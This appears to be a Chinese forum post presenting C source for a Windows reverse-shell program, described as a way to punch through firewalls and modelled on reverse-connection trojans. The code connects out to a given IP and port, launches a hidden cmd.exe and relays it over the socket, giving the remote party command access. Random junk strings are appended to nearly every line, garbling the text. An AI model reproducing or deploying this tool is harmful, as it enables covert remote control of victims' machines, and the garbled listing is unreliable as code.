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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q{yzux  
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/* ============================== ~Ty6]A  
Rebound port in Windows NT 4g.S!-H@R  
By wind,2006/7 S[rfcL"  
===============================*/ LXe'{W+bk  
#include zb9vUxN [  
#include k'[\r>T  
hB:+_[=Kj.  
#pragma comment(lib,"wsock32.lib") G<*h,'B  
,=%c e  
void OutputShell(); `AdHyE  
SOCKET sClient; noT}NX%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9I|Q`j?p`  
{#{nU NW  
void main(int argc,char **argv) Oo\~' I  
{ giN(wPgYP  
WSADATA stWsaData; sg]g;U  
int nRet; @[rlwwG,  
SOCKADDR_IN stSaiClient,stSaiServer; r7)iNTQ1  
E?m W4?  
if(argc != 3) r^\Wo7q  
{ 0wETv  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8,m:  
return; .B$3y#TOb  
} Ujly\ix`  
=4x-x nA  
WSAStartup(MAKEWORD(2,2),&stWsaData); LGCeYXic  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j!"NEh78H  
5_L43-  
stSaiClient.sin_family = AF_INET; Rn whkb&&  
stSaiClient.sin_port = htons(0); y+VR D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~-(X\:z}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C2%Yry  
{ _..5G7%#%  
printf("Bind Socket Failed!\n"); l?beqw:  
return; k .F(*kh  
} IZ_ B $mo  
{O[ !*+O  
stSaiServer.sin_family = AF_INET; 1`n ZK$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VqB9^qJ]!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gm&O-N"= U  
iB'g7&,L  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SR\$fmo  
{ Fg^zz*e  
printf("Connect Error!"); |1 LKdP  
return; L\kT9wWK|  
} D_cd l^  
OutputShell(); R2[ }  
} ~/R}K g(  
nx4E}8!Lh  
void OutputShell() t== a(e  
{ [WunA,IuR  
char szBuff[1024]; <=~'Pd-f(  
SECURITY_ATTRIBUTES stSecurityAttributes; 5z:/d`P[  
OSVERSIONINFO stOsversionInfo; &sPu 3.p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Hkj| e6  
STARTUPINFO stStartupInfo; YWa9|&m1  
char *szShell; Jb z>j\  
PROCESS_INFORMATION stProcessInformation; Jc9^Hyqu&  
unsigned long lBytesRead; $2*&\/;-E!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'P)[=+O?t  
P,Rqv)}X  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mZ t:  
stSecurityAttributes.lpSecurityDescriptor = 0; ,%]s:vk[u  
stSecurityAttributes.bInheritHandle = TRUE; 0EP8MRSR  
kI$p~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `_+m3vHG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OBp/:]  
%O&C\{J  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p$%g$K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 :1ldU 4  
stStartupInfo.wShowWindow = SW_HIDE; 12%4>2}~>  
stStartupInfo.hStdInput = hReadPipe; `r8bBzr@%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8 K>Ejr  
}=."X8zOI8  
GetVersionEx(&stOsversionInfo); 9]/j u  
15~+Ga4  
switch(stOsversionInfo.dwPlatformId) r;aP`MVO<  
{ S{ !m})1?  
case 1: &28n1  
szShell = "command.com"; Sst`*PX:  
break; zn{[]J  
default: Tn3f5ka'  
szShell = "cmd.exe"; su]ywVoRT  
break; (wsvj61  
} mkmVDRK  
4&LoE~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x@>^c:-f  
=Hs~fHa)  
send(sClient,szMsg,77,0); y0XI?Wr  
while(1) } "ts  
{ $JXQn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mJ5LRpXN  
if(lBytesRead) ,o j\=2  
{ u~d&<_Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @AdJu-u  
send(sClient,szBuff,lBytesRead,0); /waZ9  
} V_7xXuM/  
else :`P;(h  
{ *Cgd?*\7  
lBytesRead=recv(sClient,szBuff,1024,0); &gR)bNIC_=  
if(lBytesRead<=0) break; H}c, P('  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P%Ux-0&  
} *8CE0;p'k  
} Q,`Y  
6.'+y1yS)  
return; Iq[,)$  
}
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